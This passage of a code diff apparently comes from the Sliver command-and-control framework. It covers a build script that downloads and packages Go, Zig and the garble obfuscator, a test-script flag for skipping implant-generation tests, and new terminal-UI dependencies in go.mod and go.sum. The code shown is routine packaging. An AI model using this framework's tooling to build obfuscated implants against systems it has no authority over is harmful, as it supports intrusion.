rm -rf ./src
rm -f ./pkg/tool/darwin_amd64/doc
rm -f ./pkg/tool/darwin_amd64/tour
rm -f ./pkg/tool/darwin_amd64/test2json
cd ..
cp -vv src.zip $OUTPUT_DIR/src.zip
rm -f src.zip
zip -r darwin-go.zip ./go
mkdir -p $OUTPUT_DIR/darwin/amd64
cp -vv darwin-go.zip $OUTPUT_DIR/darwin/amd64/go.zip
rm -rf ./go
rm -f darwin-go.zip go$GO_VER.darwin-amd64.tar.gz
# --- Darwin (arm64) ---
curl --output go$GO_VER.darwin-arm64.tar.gz https://dl.google.com/go/go$GO_VER.darwin-arm64.tar.gz
tar xvf go$GO_VER.darwin-arm64.tar.gz
cd go
rm -rf $BLOAT_FILES
zip -r ../src.zip ./src # Zip up /src we only need to do this once
rm -rf ./src
rm -f ./pkg/tool/darwin_arm64/doc
rm -f ./pkg/tool/darwin_arm64/tour
rm -f ./pkg/tool/darwin_arm64/test2json
cd ..
cp -vv src.zip $OUTPUT_DIR/src.zip
rm -f src.zip
zip -r darwin-go.zip ./go
mkdir -p $OUTPUT_DIR/darwin/arm64
cp -vv darwin-go.zip $OUTPUT_DIR/darwin/arm64/go.zip
rm -rf ./go
rm -f darwin-go.zip go$GO_VER.darwin-arm64.tar.gz
# --- Linux (amd64) ---
curl --output go$GO_VER.linux-amd64.tar.gz https://dl.google.com/go/go$GO_VER.linux-amd64.tar.gz
tar xvf go$GO_VER.linux-amd64.tar.gz
cd go
rm -rf $BLOAT_FILES
rm -rf ./src
rm -f ./pkg/tool/linux_amd64/doc
rm -f ./pkg/tool/linux_amd64/tour
rm -f ./pkg/tool/linux_amd64/test2json
cd ..
zip -r linux-go.zip ./go
mkdir -p $OUTPUT_DIR/linux/amd64
cp -vv linux-go.zip $OUTPUT_DIR/linux/amd64/go.zip
rm -rf ./go
rm -f linux-go.zip go$GO_VER.linux-amd64.tar.gz
# --- Linux (arm64) ---
curl --output go$GO_VER.linux-arm64.tar.gz https://dl.google.com/go/go$GO_VER.linux-arm64.tar.gz
tar xvf go$GO_VER.linux-arm64.tar.gz
cd go
rm -rf $BLOAT_FILES
rm -rf ./src
rm -f ./pkg/tool/linux_arm64/doc
rm -f ./pkg/tool/linux_arm64/tour
rm -f ./pkg/tool/linux_arm64/test2json
cd ..
zip -r linux-go.zip ./go
mkdir -p $OUTPUT_DIR/linux/arm64
cp -vv linux-go.zip $OUTPUT_DIR/linux/arm64/go.zip
rm -rf ./go
rm -f linux-go.zip go$GO_VER.linux-arm64.tar.gz
# --- Windows ---
curl --output go$GO_VER.windows-amd64.zip https://dl.google.com/go/go$GO_VER.windows-amd64.zip
unzip go$GO_VER.windows-amd64.zip
cd go
rm -rf $BLOAT_FILES
rm -rf ./src
rm -f ./pkg/tool/windows_amd64/doc.exe
rm -f ./pkg/tool/windows_amd64/tour.exe
rm -f ./pkg/tool/windows_amd64/test2json.exe
cd ..
zip -r windows-go.zip ./go
mkdir -p $OUTPUT_DIR/windows/amd64
cp -vv windows-go.zip $OUTPUT_DIR/windows/amd64/go.zip
rm -rf ./go
rm -f windows-go.zip go$GO_VER.windows-amd64.zip
echo "-----------------------------------------------------------------"
echo " Zig"
echo "-----------------------------------------------------------------"
download_zig "darwin" "amd64" "zig-x86_64-macos-$ZIG_VER.tar.xz" "zig.tar.xz"
download_zig "darwin" "arm64" "zig-aarch64-macos-$ZIG_VER.tar.xz" "zig.tar.xz"
download_zig "linux" "amd64" "zig-x86_64-linux-$ZIG_VER.tar.xz" "zig.tar.xz"
download_zig "linux" "arm64" "zig-aarch64-linux-$ZIG_VER.tar.xz" "zig.tar.xz"
# Windows ships a zip instead of a tarball
download_zig "windows" "amd64" "zig-x86_64-windows-$ZIG_VER.zip" "zig.zip"
echo "-----------------------------------------------------------------"
echo " Garble"
echo "-----------------------------------------------------------------"
echo "curl -L --fail --output $OUTPUT_DIR/linux/amd64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-amd64"
curl -L --fail --output $OUTPUT_DIR/linux/amd64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-amd64
echo "curl -L --fail --output $OUTPUT_DIR/linux/arm64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-arm64"
curl -L --fail --output $OUTPUT_DIR/linux/arm64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-arm64
echo "curl -L --fail --output $OUTPUT_DIR/windows/amd64/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows-amd64.exe"
curl -L --fail --output $OUTPUT_DIR/windows/amd64/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows-amd64.exe
echo "curl -L --fail --output $OUTPUT_DIR/darwin/amd64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_darwin-amd64"
curl -L --fail --output $OUTPUT_DIR/darwin/amd64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_darwin-amd64
echo "curl -L --fail --output $OUTPUT_DIR/darwin/arm64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_darwin-arm64"
curl -L --fail --output $OUTPUT_DIR/darwin/arm64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_darwin-arm64
# --- Cleanup ---
echo -e "clean up: $WORK_DIR"
rm -rf $WORK_DIR
echo -e "\n[*] All done\n"
+16 -5
View File
@@ -17,6 +17,13 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
SKIP_GENERATE=0
for arg in "$@"; do
if [ "$arg" = "--skip-generate" ]; then
SKIP_GENERATE=1
fi
done
echo "----------------------------------------------------------------"
echo "WARNING: Running unit tests on slow systems can take a LONG time"
echo " Recommended to only run on 16+ CPU cores and 32Gb+ RAM"
@@ -180,10 +187,14 @@ else
fi
# server / generate
export GOPROXY=off
if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
:
if [ "$SKIP_GENERATE" -eq 0 ]; then
export GOPROXY=off
if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
else
cat ~/.sliver/logs/sliver.log
exit 1
echo "Skipping ./server/generate tests (--skip-generate)"
fi
+21
View File
@@ -13,6 +13,9 @@ require (
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
github.com/Ne0nd0g/go-clr v1.0.3
github.com/alecthomas/chroma v0.10.0
github.com/charmbracelet/huh v0.8.0
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3
github.com/charmbracelet/lipgloss v1.1.0
github.com/cheggaaa/pb/v3 v3.1.7
github.com/chromedp/cdproto v0.0.0-20250803210736-d308e07a266d
github.com/chromedp/chromedp v0.14.1
@@ -75,13 +78,23 @@ require (
github.com/VividCortex/ewma v1.2.0 // indirect
github.com/akutz/memconn v0.1.0 // indirect
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e // indirect
github.com/atotto/clipboard v0.1.4 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/aws/aws-sdk-go-v2 v1.39.2 // indirect
github.com/aws/aws-sdk-go-v2/config v1.31.12 // indirect
github.com/aws/aws-sdk-go-v2/service/ssm v1.65.1 // indirect
github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect
github.com/carapace-sh/carapace v1.9.0 // indirect
github.com/carapace-sh/carapace-shlex v1.1.0 // indirect
github.com/catppuccin/go v0.3.0 // indirect
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 // indirect
github.com/charmbracelet/bubbletea v1.3.10 // indirect
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect
github.com/charmbracelet/x/ansi v0.10.1 // indirect
github.com/charmbracelet/x/cellbuf v0.0.13 // indirect
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
github.com/charmbracelet/x/term v0.2.1 // indirect
github.com/chromedp/sysutil v1.1.0 // indirect
github.com/clipperhouse/uax29/v2 v2.2.0 // indirect
github.com/coder/websocket v1.8.12 // indirect
@@ -91,6 +104,7 @@ require (
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
github.com/dlclark/regexp2 v1.11.5 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f // indirect
github.com/fxamacker/cbor/v2 v2.9.0 // indirect
github.com/gaissmai/bart v0.25.0 // indirect
github.com/gen2brain/shm v0.1.1 // indirect
@@ -118,15 +132,21 @@ require (
github.com/jinzhu/now v1.1.5 // indirect
github.com/jsimonetti/rtnetlink v1.4.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-colorable v0.1.14 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mattn/go-localereader v0.0.1 // indirect
github.com/mattn/go-runewidth v0.0.19 // indirect
github.com/mdlayher/netlink v1.8.0 // indirect
github.com/mdlayher/socket v0.5.1 // indirect
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect
github.com/mitchellh/go-ps v1.0.0 // indirect
github.com/mitchellh/hashstructure/v2 v2.0.2 // indirect
github.com/moloch--/go-keystone v0.0.2 // indirect
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
github.com/muesli/cancelreader v0.2.2 // indirect
github.com/muesli/termenv v0.16.0 // indirect
github.com/ncruces/go-strftime v0.1.9 // indirect
github.com/ncruces/julianday v1.0.0 // indirect
github.com/olekukonko/tablewriter v0.0.5 // indirect
@@ -145,6 +165,7 @@ require (
github.com/tailscale/wireguard-go v0.0.0-20250716170648-1d0488a3d7da // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
github.com/x448/float16 v0.8.4 // indirect
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect
go4.org/mem v0.0.0-20240501181205-ae6ca9944745 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/mod v0.28.0 // indirect
+57
View File
@@ -29,6 +29,8 @@ github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0/go.mod h1:J3XDRl
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c h1:pxW6RcqyfI9/kWtOwnv/G+AzdKuy2ZrqINhenH4HyNs=
github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
github.com/MakeNowJust/heredoc v1.0.0 h1:cXCdzVdstXyiTqTvfqk9SDHpKNjxuom+DOlyEeQ4pzQ=
github.com/MakeNowJust/heredoc v1.0.0/go.mod h1:mG5amYoWBHf8vpLOuehzbGGw0EHxpZZ6lCpQ4fNJ8LE=
github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY=
github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU=
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
@@ -50,6 +52,8 @@ github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktp
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be h1:9AeTilPcZAjCFIImctFaOjnTIavg87rW78vTPkQqLI8=
github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be/go.mod h1:ySMOLuWl6zY27l47sB3qLNK6tF2fkHG55UZxx8oIVo4=
github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4=
github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
@@ -82,12 +86,48 @@ github.com/aws/aws-sdk-go-v2/service/sts v1.38.6 h1:p3jIvqYwUZgu/XYeI48bJxOhvm47
github.com/aws/aws-sdk-go-v2/service/sts v1.38.6/go.mod h1:WtKK+ppze5yKPkZ0XwqIVWD4beCwv056ZbPQNoeHqM8=
github.com/aws/smithy-go v1.23.0 h1:8n6I3gXzWJB2DxBDnfxgBaSX6oe0d/t10qGz7OKqMCE=
github.com/aws/smithy-go v1.23.0/go.mod h1:t1ufH5HMublsJYulve2RKmHDC15xu1f26kHCp/HgceI=
github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k=
github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8=
github.com/aymanbagabas/go-udiff v0.3.1 h1:LV+qyBQ2pqe0u42ZsUEtPiCaUoqgA9gYRDs3vj1nolY=
github.com/aymanbagabas/go-udiff v0.3.1/go.mod h1:G0fsKmG+P6ylD0r6N/KgQD/nWzgfnl8ZBcNLgcbrw8E=
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
github.com/carapace-sh/carapace v1.9.0 h1:IuEP6YeeK4fhrH7MoOyL0I3GMhvROerkw6YGxkx8Fbw=
github.com/carapace-sh/carapace v1.9.0/go.mod h1:Zs3DpsawpFm+8fEfRVYE9EzMBYH8u7S3Aw9yAAKX0JM=
github.com/carapace-sh/carapace-shlex v1.1.0 h1:58QSJTUxghpa/rEn6+Z9UM/Hy0ipVHDUn9S1mp4i+ZE=
github.com/carapace-sh/carapace-shlex v1.1.0/go.mod h1:lJ4ZsdxytE0wHJ8Ta9S7Qq0XpjgjU0mdfCqiI2FHx7M=
github.com/catppuccin/go v0.3.0 h1:d+0/YicIq+hSTo5oPuRi5kOpqkVA5tAsU6dNhvRu+aY=
github.com/catppuccin/go v0.3.0/go.mod h1:8IHJuMGaUUjQM82qBrGNBv7LFq6JI3NnQCF6MOlZjpc=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 h1:JFgG/xnwFfbezlUnFMJy0nusZvytYysV4SCS2cYbvws=
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7/go.mod h1:ISC1gtLcVilLOf23wvTfoQuYbW2q0JevFxPfUzZ9Ybw=
github.com/charmbracelet/bubbletea v1.3.10 h1:otUDHWMMzQSB0Pkc87rm691KZ3SWa4KUlvF9nRvCICw=
github.com/charmbracelet/bubbletea v1.3.10/go.mod h1:ORQfo0fk8U+po9VaNvnV95UPWA1BitP1E0N6xJPlHr4=
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc h1:4pZI35227imm7yK2bGPcfpFEmuY1gc2YSTShr4iJBfs=
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc/go.mod h1:X4/0JoqgTIPSFcRA/P6INZzIuyqdFY5rm8tb41s9okk=
github.com/charmbracelet/huh v0.8.0 h1:Xz/Pm2h64cXQZn/Jvele4J3r7DDiqFCNIVteYukxDvY=
github.com/charmbracelet/huh v0.8.0/go.mod h1:5YVc+SlZ1IhQALxRPpkGwwEKftN/+OlJlnJYlDRFqN4=
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3 h1:KUeWGoKnmyrLaDIa0smE6pK5eFMZWNIxPGweQR12iLg=
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3/go.mod h1:OMqKat/mm9a/qOnpuNOPyYO9bPzRNnmzLnRZT5KYltg=
github.com/charmbracelet/lipgloss v1.1.0 h1:vYXsiLHVkK7fp74RkV7b2kq9+zDLoEU4MZoFqR/noCY=
github.com/charmbracelet/lipgloss v1.1.0/go.mod h1:/6Q8FR2o+kj8rz4Dq0zQc3vYf7X+B0binUUBwA0aL30=
github.com/charmbracelet/x/ansi v0.10.1 h1:rL3Koar5XvX0pHGfovN03f5cxLbCF2YvLeyz7D2jVDQ=
github.com/charmbracelet/x/ansi v0.10.1/go.mod h1:3RQDQ6lDnROptfpWuUVIUG64bD2g2BgntdxH0Ya5TeE=
github.com/charmbracelet/x/cellbuf v0.0.13 h1:/KBBKHuVRbq1lYx5BzEHBAFBP8VcQzJejZ/IA3iR28k=
github.com/charmbracelet/x/cellbuf v0.0.13/go.mod h1:xe0nKWGd3eJgtqZRaN9RjMtK7xUYchjzPr7q6kcvCCs=
github.com/charmbracelet/x/conpty v0.1.0 h1:4zc8KaIcbiL4mghEON8D72agYtSeIgq8FSThSPQIb+U=
github.com/charmbracelet/x/conpty v0.1.0/go.mod h1:rMFsDJoDwVmiYM10aD4bH2XiRgwI7NYJtQgl5yskjEQ=
github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86 h1:JSt3B+U9iqk37QUU2Rvb6DSBYRLtWqFqfxf8l5hOZUA=
github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86/go.mod h1:2P0UgXMEa6TsToMSuFqKFQR+fZTO9CNGUNokkPatT/0=
github.com/charmbracelet/x/exp/golden v0.0.0-20241011142426-46044092ad91 h1:payRxjMjKgx2PaCWLZ4p3ro9y97+TVLZNaRZgJwSVDQ=
github.com/charmbracelet/x/exp/golden v0.0.0-20241011142426-46044092ad91/go.mod h1:wDlXFlCrmJ8J+swcL/MnGUuYnqgQdW9rhSD61oNMb6U=
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 h1:qko3AQ4gK1MTS/de7F5hPGx6/k1u0w4TeYmBFwzYVP4=
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0/go.mod h1:pBhA0ybfXv6hDjQUZ7hk1lVxBiUbupdw5R31yPUViVQ=
github.com/charmbracelet/x/term v0.2.1 h1:AQeHeLZ1OqSXhrAWpYUtZyX1T3zVxfpZuEQMIQaGIAQ=
github.com/charmbracelet/x/term v0.2.1/go.mod h1:oQ4enTYFV7QN4m0i9mzHrViD7TQKvNEEkHUMCmsxdUg=
github.com/charmbracelet/x/termios v0.1.1 h1:o3Q2bT8eqzGnGPOYheoYS8eEleT5ZVNYNy8JawjaNZY=
github.com/charmbracelet/x/termios v0.1.1/go.mod h1:rB7fnv1TgOPOyyKRJ9o+AsTU/vK5WHJ2ivHeut/Pcwo=
github.com/charmbracelet/x/xpty v0.1.2 h1:Pqmu4TEJ8KeA9uSkISKMU3f+C1F6OGBn8ABuGlqCbtI=
github.com/charmbracelet/x/xpty v0.1.2/go.mod h1:XK2Z0id5rtLWcpeNiMYBccNNBrP2IJnzHI0Lq13Xzq4=
github.com/cheggaaa/pb/v3 v3.1.7 h1:2FsIW307kt7A/rz/ZI2lvPO+v3wKazzE4K/0LtTWsOI=
github.com/cheggaaa/pb/v3 v3.1.7/go.mod h1:/Ji89zfVPeC/u5j8ukD0MBPHt2bzTYp74lQ7KlgFWTQ=
github.com/chromedp/cdproto v0.0.0-20250803210736-d308e07a266d h1:ZtA1sedVbEW7EW80Iz2GR3Ye6PwbJAJXjv7D74xG6HU=
@@ -134,6 +174,8 @@ github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymF
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f h1:Y/CXytFA4m6baUTXGLOoWe4PQhGxaX0KpnayAqC48p4=
github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f/go.mod h1:vw97MGsxSvLiUE2X8qFplwetxpGLQrlU1Q9AUEIzCaM=
github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
@@ -271,6 +313,8 @@ github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8Ir
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Ntbse4a4s0=
github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY=
github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
@@ -281,6 +325,8 @@ github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hd
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-localereader v0.0.1 h1:ygSAOl7ZXTx4RdPYinUpg6W99U8jWvWi9Ye2JC/oIi4=
github.com/mattn/go-localereader v0.0.1/go.mod h1:8fBrzywKY7BI3czFoHkuzRoWE9C+EiG4R1k4Cjx5p88=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.19 h1:v++JhqYnZuu5jSKrk9RbgF5v4CGUjqRfBm05byFGLdw=
github.com/mattn/go-runewidth v0.0.19/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
@@ -301,6 +347,8 @@ github.com/miekg/dns v1.1.68 h1:jsSRkNozw7G/mnmXULynzMNIsgY2dHC8LO6U6Ij2JEA=
github.com/miekg/dns v1.1.68/go.mod h1:fujopn7TB3Pu3JM69XaawiU0wqjpL9/8xGop5UrTPps=
github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc=
github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
github.com/mitchellh/hashstructure/v2 v2.0.2 h1:vGKWl0YJqUNxE8d+h8f6NJLcCJrgbhC4NcD46KavDd4=
github.com/mitchellh/hashstructure/v2 v2.0.2/go.mod h1:MG3aRVU/N29oo/V/IhBX8GR/zz4kQkprJgF2EVszyDE=
github.com/moloch--/asciicast v0.1.1 h1:btwwniCK9br3ys33XZ71IG/M3ZujSSCcBzsH/sieiXg=
github.com/moloch--/asciicast v0.1.1/go.mod h1:OckO16UDLgxVLclrCnbocL1ix15Br/8Xv/caBoYq98o=
github.com/moloch--/go-keystone v0.0.2 h1:xThbYs45CSzoDUz5kBZxAyTPIpK3t5M7NB1x+NTTRL8=
@@ -309,6 +357,12 @@ github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e h1:IkFCPlAa0iTiLxc
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e/go.mod h1:eYeI6cQ5YHhHt9i0BBW0zc1DaQnb4ZMXsSPuEV/V5Og=
github.com/moloch--/sgn v0.0.4 h1:90IC5rx3TmPEfrqPnENB0yyiqcbcNk9LqezXx7uruF0=
github.com/moloch--/sgn v0.0.4/go.mod h1:FyWfCtdynywgLmVR71vTJztZ3WkGSkR91Y4EOijUutE=
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 h1:ZK8zHtRHOkbHy6Mmr5D264iyp3TiX5OmNcI5cIARiQI=
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6/go.mod h1:CJlz5H+gyd6CUWT45Oy4q24RdLyn7Md9Vj2/ldJBSIo=
github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA=
github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo=
github.com/muesli/termenv v0.16.0 h1:S5AlUN9dENB57rsbnkPyfdGuWIlkmzJjbFf0Tf5FWUc=
github.com/muesli/termenv v0.16.0/go.mod h1:ZRfOIKPFDYQoDFF4Olj7/QJbW60Ol/kL1pU3VfY/Cnk=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
github.com/ncruces/go-sqlite3 v0.29.1 h1:NIi8AISWBToRHyoz01FXiTNvU147Tqdibgj2tFzJCqM=
@@ -422,6 +476,8 @@ github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM=
github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg=
github.com/xlab/treeprint v1.2.0 h1:HzHnuAF1plUN2zGlAFHbSQP2qJ0ZAD3XF5XD7OesXRQ=
github.com/xlab/treeprint v1.2.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0=
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavMF/ppJZNG9ZpyihvCd0w101no=
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e/go.mod h1:RbqR21r5mrJuqunuUZ/Dhy/avygyECGrLceyNeo4LiM=
github.com/yiya1989/sshkrb5 v0.0.1 h1:oAKpXLBeZExjYDV9eTL2KypmXU+5oPrJtqDuR5JbWic=
github.com/yiya1989/sshkrb5 v0.0.1/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
@@ -510,6 +566,7 @@ golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
